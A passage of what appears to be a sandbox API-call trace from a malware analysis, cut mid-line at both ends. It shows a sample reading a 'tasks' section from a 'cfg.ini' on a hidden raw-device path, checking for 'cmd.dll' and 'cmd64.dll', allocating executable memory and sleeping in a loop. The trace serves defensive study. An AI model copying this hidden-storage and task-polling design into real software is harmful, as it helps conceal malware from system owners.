_Dest="cfg.ini") returned="cfg.ini" [0123.365] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.365] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] KeLeaveCriticalRegion () [0123.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.366] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.366] KeEnterCriticalRegion () [0123.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] KeLeaveCriticalRegion () [0123.366] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.366] KeEnterCriticalRegion () [0123.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.366] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.366] IdePortDispatch () returned 0x103 [0123.366] KeWaitForMutexObject () returned 0x0 [0123.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] KeLeaveCriticalRegion () [0123.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.366] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.366] KeEnterCriticalRegion () [0123.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003495000 [0123.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.366] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.366] IdePortDispatch () returned 0x103 [0123.366] KeWaitForMutexObject () returned 0x0 [0123.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.367] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.367] IdePortDispatch () returned 0x103 [0123.367] KeWaitForMutexObject () returned 0x0 [0123.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.367] KeLeaveCriticalRegion () [0123.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.367] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.367] KeEnterCriticalRegion () [0123.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.367] KeLeaveCriticalRegion () [0123.367] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.368] KeEnterCriticalRegion () [0123.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.368] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.368] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.368] KeLeaveCriticalRegion () [0123.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.368] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.368] KeEnterCriticalRegion () [0123.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.368] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.368] KeLeaveCriticalRegion () [0123.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.368] ReleaseMutex (hMutex=0xf0) returned 1 [0123.368] Sleep (dwMilliseconds=0x927c0) [0123.381] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.381] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.381] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.381] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.382] KeEnterCriticalRegion () [0123.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.382] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.382] IdePortDispatch () returned 0x103 [0123.382] KeWaitForMutexObject () returned 0x0 [0123.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.382] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.382] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.382] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.382] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.382] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bead50 [0123.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.382] KeLeaveCriticalRegion () [0123.382] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.382] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.382] KeEnterCriticalRegion () [0123.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.382] KeLeaveCriticalRegion () [0123.382] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.382] KeEnterCriticalRegion () [0123.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.382] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.382] IdePortDispatch () returned 0x103 [0123.382] KeWaitForMutexObject () returned 0x0 [0123.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.383] KeLeaveCriticalRegion () [0123.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.383] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.383] KeEnterCriticalRegion () [0123.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.383] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349a000 [0123.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.383] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.383] IdePortDispatch () returned 0x103 [0123.383] KeWaitForMutexObject () returned 0x0 [0123.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.383] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.383] IdePortDispatch () returned 0x103 [0123.383] KeWaitForMutexObject () returned 0x0 [0123.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.383] KeLeaveCriticalRegion () [0123.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.384] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.384] KeEnterCriticalRegion () [0123.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] KeLeaveCriticalRegion () [0123.384] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.384] KeEnterCriticalRegion () [0123.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.384] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] KeLeaveCriticalRegion () [0123.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.384] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.384] KeEnterCriticalRegion () [0123.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] ExFreePoolWithTag (P=0xfffffa8003bead50, Tag=0x0) [0123.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.384] KeLeaveCriticalRegion () [0123.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.384] ReleaseMutex (hMutex=0xf0) returned 1 [0123.384] Sleep (dwMilliseconds=0x927c0) [0123.398] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.398] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.398] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.398] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.398] KeEnterCriticalRegion () [0123.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.398] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.398] IdePortDispatch () returned 0x103 [0123.399] KeWaitForMutexObject () returned 0x0 [0123.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.399] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.399] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.399] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.399] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.399] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beba90 [0123.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.399] KeLeaveCriticalRegion () [0123.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.399] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.399] KeEnterCriticalRegion () [0123.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.399] KeLeaveCriticalRegion () [0123.399] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.399] KeEnterCriticalRegion () [0123.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.399] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.399] IdePortDispatch () returned 0x103 [0123.399] KeWaitForMutexObject () returned 0x0 [0123.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.399] KeLeaveCriticalRegion () [0123.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.399] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.399] KeEnterCriticalRegion () [0123.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349f000 [0123.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.400] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.400] IdePortDispatch () returned 0x103 [0123.400] KeWaitForMutexObject () returned 0x0 [0123.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.400] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.400] IdePortDispatch () returned 0x103 [0123.400] KeWaitForMutexObject () returned 0x0 [0123.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.400] KeLeaveCriticalRegion () [0123.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.401] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.401] KeEnterCriticalRegion () [0123.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] KeLeaveCriticalRegion () [0123.401] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.401] KeEnterCriticalRegion () [0123.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.401] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] KeLeaveCriticalRegion () [0123.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.401] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.401] KeEnterCriticalRegion () [0123.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] ExFreePoolWithTag (P=0xfffffa8003beba90, Tag=0x0) [0123.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] KeLeaveCriticalRegion () [0123.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.401] ReleaseMutex (hMutex=0xf0) returned 1 [0123.401] Sleep (dwMilliseconds=0x927c0) [0123.415] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.415] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.415] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.415] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.415] KeEnterCriticalRegion () [0123.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.415] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.415] IdePortDispatch () returned 0x103 [0123.415] KeWaitForMutexObject () returned 0x0 [0123.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebdf0 [0123.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.416] KeLeaveCriticalRegion () [0123.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.416] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.416] KeEnterCriticalRegion () [0123.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.416] KeLeaveCriticalRegion () [0123.416] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.416] KeEnterCriticalRegion () [0123.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.416] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.416] IdePortDispatch () returned 0x103 [0123.416] KeWaitForMutexObject () returned 0x0 [0123.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.416] KeLeaveCriticalRegion () [0123.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.416] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 